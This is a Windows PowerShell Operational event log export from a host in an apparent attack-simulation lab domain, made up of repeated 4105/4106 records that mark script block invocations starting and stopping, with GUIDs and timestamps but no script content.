LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029376
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029375
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029374
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029373
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029372
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029371
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029370
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029369
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029368
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029367
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029366
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029365
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029364
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029363
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029362
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029361
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029360
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029359
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029358
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029357
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029356
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029355
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029354
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029353
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029352
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029351
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029350
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029349
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029348
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029347
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029346
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029345
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029344
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029343
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029342
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029341
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029340
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029339
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029338
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029337
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029336
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029335
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029334
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029333
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029332
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029331
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029330
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029329
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029328
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029327
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029326
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029325
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029324
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
